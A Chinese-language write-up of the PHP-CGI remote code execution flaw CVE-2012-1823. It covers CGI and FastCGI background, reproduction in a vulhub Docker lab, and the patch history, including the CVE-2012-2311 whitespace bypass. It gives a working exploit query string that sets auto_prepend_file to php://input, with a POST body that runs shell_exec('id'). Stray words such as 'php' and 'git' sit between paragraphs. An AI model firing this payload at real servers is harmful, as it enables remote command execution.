PHP-CGI遠程代碼執行漏洞(CVE-2012-1823)

PHP-CGI遠程代碼執行漏洞(CVE-2012-1823)

漏洞分析

PHP SAPI 與運行模式

  在PHP源碼中,有一個目錄叫sapi。sapi在PHP中的做用,相似一個消息的「傳遞者」,(PHP-FPM中的fpm,其做用就是接受web容器經過fastcgi協議封裝好的數據,交給PHP解釋器執行;除了fpm,最多見的sapi應該是用於Apache的mod_php,這個sapi用於php和apache之間的數據交換。)
  php-cgi也是一個sapi。在遠古的時候,web應用的運行方式很簡單,web容器接收到http數據包後,拿到用戶請求的文件(cgi腳本),並fork出一個子進程(解釋器)去執行這個文件,而後拿到執行結果,直接返回給用戶,同時這個解釋器子進程也就結束了。基於bash、perl等語言的web應用多半都是以這種方式來執行,這種執行方式通常就被稱爲cgi,在安裝Apache的時候默認有一個cgi-bin目錄,最先就是放置這些cgi腳本用的。
  但cgi模式有個致命的缺點,衆所周知,進程的建立和調度都是有必定消耗的,並且進程的數量也不是無限的。因此,基於cgi模式運行的網站一般不能同時接受大量請求,不然每一個請求生成一個子進程,就有可能把服務器擠爆。因而後來就有了fastcgi,fastcgi進程能夠將本身一直運行在後臺,並經過fastcgi協議接受數據包,執行後返回結果,但自身並不退出。
php


  php有一個叫php-cgi的sapi,php-cgi有兩個功能,一是提供cgi方式的交互,二是提供fastcgi方式的交互。也就說,咱們能夠像perl同樣,讓web容器直接fork一個php-cgi進程執行某腳本;也能夠在後臺運行php-cgi -b 127.0.0.1:9000(php-cgi做爲fastcgi的管理器),並讓web容器用fastcgi協議和9000交互。
  那我以前說的fpm又是什麼呢?爲何php有兩個fastcgi管理器?php確實有兩個fastcgi管理器,php-cgi能夠以fastcgi模式運行,fpm也是以fastcgi模式運行。但fpm是php在5.3版本之後引入的,是一個更高效的fastcgi管理器,因此如今愈來愈多的web應用使用php-fpm去運行php。

  CVE-2012-1823就是php-cgi這個sapi出現的漏洞,我上面介紹了php-cgi提供的兩種運行方式:cgi和fastcgi,本漏洞只出如今以cgi模式運行的php中。這個漏洞簡單來講,就是用戶請求的querystring被做爲了php-cgi的參數,最終致使了一系列結果。探究一下原理,RFC3875中規定,當querystring中不包含沒有解碼的=號的狀況下,要將querystring做爲cgi的參數傳入。因此,Apache服務器按要求實現了這個功能。
html

漏洞復現

環境部署

利用vulhub漏洞環境進行測試

進入ssrf漏洞環境

    cd  vulhub-master/php/CVE-2012-1823
進行環境構建

    docker-compose  build
啓動環境

    docker-compose  up -d

而後訪問目標地址

   http://ip:8080


漏洞測試

訪問目標地址git

http:ip:8080/index.php/?-s

 

若返回源碼,則說明存在此漏洞
github

漏洞利用

經過閱讀源碼,發現cgi模式下經過可控命令行參數有以下一些參數可用:

web

    -c 指定php.ini文件的位置
    -n 不要加載php.ini文件
    -d 指定配置項
    -b 啓動fastcgi進程
    -s 顯示文件源碼
    -T 執行指定次該文件
    -h和-? 顯示幫助

能夠看出最簡單的就是利用-s查看源碼
任意代碼執行
經過使用-d指定auto_prepend_file來製造任意文件包含漏洞,執行任意代碼:
利用burpsuite抓包,而後修改數據包內容在`index.php?`後面添加
docker

-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input

再添加傳輸內容shell

<?php echo shell_exec("id"); ?>

以下:

能夠看出body中的代碼內容已經被執行並返回結果
原理分析
  PHP是一門強大的語言,PHP.INI中有兩個有趣的配置項,auto_prepend_file和auto_append_file。auto_prepend_file是告訴PHP,在執行目標文件以前,先包含auto_prepend_file中指定的文件;auto_append_file是告訴PHP,在執行完成目標文件後,包含auto_append_file指向的文件。
  那麼就有趣了,假設咱們設置auto_prepend_file爲php://input,那麼就等於在執行任何php文件前都要包含一遍POST的內容。因此,咱們只須要把待執行的代碼放在Body中,他們就能被執行了。(固然,還須要開啓遠程文件包含選項allow_url_include)

  那麼,咱們怎麼設置auto_prepend_file的值?
  這又涉及到PHP-FPM的兩個環境變量,PHP_VALUE和PHP_ADMIN_VALUE。這兩個環境變量就是用來設置PHP配置項的,PHP_VALUE能夠設置模式爲PHP_INI_USER和PHP_INI_ALL的選項,PHP_ADMIN_VALUE能夠設置全部選項。(disable_functions除外,這個選項是PHP加載的時候就肯定了,在範圍內的函數直接不會被加載到PHP上下文中)

  因此,咱們最後傳入以下環境變量:
apache

{
        'GATEWAY_INTERFACE': 'FastCGI/1.0',
        'REQUEST_METHOD': 'GET',
        'SCRIPT_FILENAME': '/var/www/html/index.php',
        'SCRIPT_NAME': '/index.php',
        'QUERY_STRING': '?a=1&b=2',
        'REQUEST_URI': '/index.php?a=1&b=2',
        'DOCUMENT_ROOT': '/var/www/html',
        'SERVER_SOFTWARE': 'php/fcgiclient',
        'REMOTE_ADDR': '127.0.0.1',
        'REMOTE_PORT': '12345',
        'SERVER_ADDR': '127.0.0.1',
        'SERVER_PORT': '80',
        'SERVER_NAME': "localhost",
        'SERVER_PROTOCOL': 'HTTP/1.1'
        'PHP_VALUE': 'auto_prepend_file = php://input',
        'PHP_ADMIN_VALUE': 'allow_url_include = On'
    }

設置`auto_prepend_file = php://input`且`allow_url_include = On`,而後將咱們須要執行的代碼放在Body中,便可執行任意代碼。api

漏洞修復

CVE-2012-2311
這個漏洞被爆出來之後,PHP官方對其進行了修補,發佈了新版本5.4.2及5.3.12,但這個修復是不徹底的,能夠被繞過,進而衍生出CVE-2012-2311漏洞。

PHP的修復方法是對-進行了檢查:
安全

    if(query_string = getenv("QUERY_STRING")) {
        decoded_query_string = strdup(query_string);
        php_url_decode(decoded_query_string, strlen(decoded_query_string));
        if(*decoded_query_string == '-' && strchr(decoded_query_string, '=') == NULL) {
            skip_getopt = 1;
        }
        free(decoded_query_string);
    }

可見,獲取querystring後進行解碼,若是第一個字符是-則設置skip_getopt,也就是不要獲取命令行參數。

這個修復方法不安全的地方在於,若是運維對php-cgi進行了一層封裝的狀況下:

 #!/bin/sh  
    exec /usr/local/bin/php-cgi $*

經過使用空白符加-的方式,也能傳入參數。這時候querystring的第一個字符就是空白符而不是-了,繞過了上述檢查。

因而,php5.4.3和php5.3.13中繼續進行修改: 

 if((query_string = getenv("QUERY_STRING")) != NULL && strchr(query_string, '=') == NULL) {
        /* we've got query string that has no = - apache CGI will pass it to command line */
        unsigned char *p;
        decoded_query_string = strdup(query_string);
        php_url_decode(decoded_query_string, strlen(decoded_query_string));
        for (p = decoded_query_string; *p &&  *p <= ' '; p++) {
            /* skip all leading spaces */
        }
        if(*p == '-') {
            skip_getopt = 1;
        }
        free(decoded_query_string);
    }

先跳過全部空白符(小於等於空格的全部字符),再判斷第一個字符是不是-。
參考連接
(https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html)
[https://github.com/vulhub/vulhub/tree/master/php/CVE-2012-1823#cve-2012-2311](https://github.com/vulhub/vulhub/tree/master/php/CVE-2012-1823#cve-2012-2311)

相關文章
相關標籤/搜索